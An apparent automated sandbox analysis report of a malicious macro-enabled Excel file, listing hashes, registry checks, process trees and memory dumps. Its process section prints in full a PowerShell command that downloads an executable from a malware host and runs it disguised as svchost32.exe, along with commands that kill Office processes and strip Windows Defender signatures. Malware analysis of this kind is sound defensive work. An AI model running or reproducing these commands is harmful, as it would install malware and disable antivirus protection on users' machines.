800d6760b293cd2e33128cff0e08e1000a53ab91c3ba05e6e1577a9490899b59

General

Target

800d6760b293cd2e33128cff0e08e1000a53ab91c3ba05e6e1577a9490899b59.xlsm
Size

28KB
MD5

687ddd53b6c273583e08db1698bfeabc
SHA1

ed237ecf129e28f509de74a6f3c560a3d2aa2bec
SHA256

800d6760b293cd2e33128cff0e08e1000a53ab91c3ba05e6e1577a9490899b59
SHA512

3462614f8f8c9260be3bd585c9c307c1b6abe184950338b65e52a52a56184b4813351f7df035261f276473cb351a8d82d6d673cb8e5ea21aae5509c16222c0ef
SSDEEP

768:+dgb8qEv5j/hv2454yNX0R/V+BKlRGstxHIU:+B15j/s45rNER/V+B6Rn7HIU

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://lokipanelhostingpanel.gq/work/worknew/1.exe

Signatures

Process spawned unexpected child process 4 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

powershell.execmd.exepowershell.execmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	1960	3812	powershell.exe	EXCEL.EXE
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	3580	3812	cmd.exe	EXCEL.EXE
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	1468	3812	powershell.exe	EXCEL.EXE
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	1080	3812	cmd.exe	EXCEL.EXE

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Kills process with taskkill 2 IoCs
evasion

Processes:

taskkill.exetaskkill.exe

pid process

4756 taskkill.exe
2408 taskkill.exe
Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

3812 EXCEL.EXE
Suspicious behavior: EnumeratesProcesses 4 IoCs

Processes:

powershell.exepowershell.exe

pid process

1468 powershell.exe
1960 powershell.exe
1468 powershell.exe
1960 powershell.exe

pid	process
4756	taskkill.exe
2408	taskkill.exe

pid	process
3812	EXCEL.EXE

pid	process
1468	powershell.exe
1960	powershell.exe
1468	powershell.exe
1960	powershell.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

Processes:

powershell.exepowershell.exetaskkill.exetaskkill.exe

description	pid	process
Token: SeDebugPrivilege	1468	powershell.exe
Token: SeDebugPrivilege	1960	powershell.exe
Token: SeDebugPrivilege	2408	taskkill.exe
Token: SeDebugPrivilege	4756	taskkill.exe

Suspicious use of SetWindowsHookEx 8 IoCs

Processes:

EXCEL.EXE

pid process

3812 EXCEL.EXE
3812 EXCEL.EXE
3812 EXCEL.EXE
3812 EXCEL.EXE
3812 EXCEL.EXE
3812 EXCEL.EXE
3812 EXCEL.EXE
3812 EXCEL.EXE

pid	process
3812	EXCEL.EXE
3812	EXCEL.EXE
3812	EXCEL.EXE
3812	EXCEL.EXE
3812	EXCEL.EXE
3812	EXCEL.EXE
3812	EXCEL.EXE
3812	EXCEL.EXE

Suspicious use of WriteProcessMemory 12 IoCs

Processes:

EXCEL.EXEcmd.exepowershell.exe

description	pid	process	target process
PID 3812 wrote to memory of 1960	3812	EXCEL.EXE	powershell.exe
PID 3812 wrote to memory of 1960	3812	EXCEL.EXE	powershell.exe
PID 3812 wrote to memory of 3580	3812	EXCEL.EXE	cmd.exe
PID 3812 wrote to memory of 3580	3812	EXCEL.EXE	cmd.exe
PID 3812 wrote to memory of 1468	3812	EXCEL.EXE	powershell.exe
PID 3812 wrote to memory of 1468	3812	EXCEL.EXE	powershell.exe
PID 3812 wrote to memory of 1080	3812	EXCEL.EXE	cmd.exe
PID 3812 wrote to memory of 1080	3812	EXCEL.EXE	cmd.exe
PID 3580 wrote to memory of 4756	3580	cmd.exe	taskkill.exe
PID 3580 wrote to memory of 4756	3580	cmd.exe	taskkill.exe
PID 1468 wrote to memory of 2408	1468	powershell.exe	taskkill.exe
PID 1468 wrote to memory of 2408	1468	powershell.exe	taskkill.exe

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\800d6760b293cd2e33128cff0e08e1000a53ab91c3ba05e6e1577a9490899b59.xlsm"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3812

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" (New-Object System.Net.WebClient).DownloadFile('http://lokipanelhostingpanel.gq/work/worknew/1.exe','C:\Users\Public\svchost32.exe');Start-Process 'C:\Users\Public\svchost32.exe'
2⤵
- Process spawned unexpected child process
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1960

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c taskkill /f /im winword.exe & exit
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:3580

C:\Windows\system32\taskkill.exe
taskkill /f /im winword.exe
3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:4756

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden taskkill /f /im Excel.exe
2⤵
- Process spawned unexpected child process
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1468

C:\Windows\system32\taskkill.exe
"C:\Windows\system32\taskkill.exe" /f /im Excel.exe
3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2408

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c cd "C:\Program Files\Windows Defender" & MpCmdRun.exe -removedefinitions -dynamicsignatures & exit
2⤵
- Process spawned unexpected child process
PID:1080

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
1KB

MD5
8e42bec1f8f4c3705f1df36c21c85531

SHA1
c9d6aac3c1b16ed12f22185ebdc9f921cd396d14

SHA256
f3a91001711172cac5380d0409a531f64a8f85666188abb1e4fd0af070ddb9e2

SHA512
d8b5b5ad81d6d447a3e1994e3ffb8c75f91452599737bc40b5c0b11668300654b938e92f87718c3f01a70cad26b54f697eb6f70fe95c2dd2357ccd4b8bd24aa6

Download Submit
memory/1080-142-0x0000000000000000-mapping.dmp

Download
memory/1468-147-0x00007FFC5C690000-0x00007FFC5D151000-memory.dmp

Filesize
10.8MB

Download
memory/1468-144-0x0000022FB5E90000-0x0000022FB5EB2000-memory.dmp

Filesize
136KB

Download
memory/1468-148-0x00007FFC5C690000-0x00007FFC5D151000-memory.dmp

Filesize
10.8MB

Download
memory/1468-141-0x0000000000000000-mapping.dmp

Download
memory/1960-151-0x00007FFC5C690000-0x00007FFC5D151000-memory.dmp

Filesize
10.8MB

Download
memory/1960-139-0x0000000000000000-mapping.dmp

Download
memory/1960-146-0x00007FFC5C690000-0x00007FFC5D151000-memory.dmp

Filesize
10.8MB

Download
memory/2408-145-0x0000000000000000-mapping.dmp

Download
memory/3580-140-0x0000000000000000-mapping.dmp

Download
memory/3812-135-0x00007FFC45150000-0x00007FFC45160000-memory.dmp

Filesize
64KB

Download
memory/3812-136-0x00007FFC45150000-0x00007FFC45160000-memory.dmp

Filesize
64KB

Download
memory/3812-132-0x00007FFC45150000-0x00007FFC45160000-memory.dmp

Filesize
64KB

Download
memory/3812-138-0x00007FFC42D80000-0x00007FFC42D90000-memory.dmp

Filesize
64KB

Download
memory/3812-134-0x00007FFC45150000-0x00007FFC45160000-memory.dmp

Filesize
64KB

Download
memory/3812-133-0x00007FFC45150000-0x00007FFC45160000-memory.dmp

Filesize
64KB

Download
memory/3812-137-0x00007FFC42D80000-0x00007FFC42D90000-memory.dmp

Filesize
64KB

Download
memory/4756-143-0x0000000000000000-mapping.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

Replay Monitor

Loading Replay Monitor...

Downloads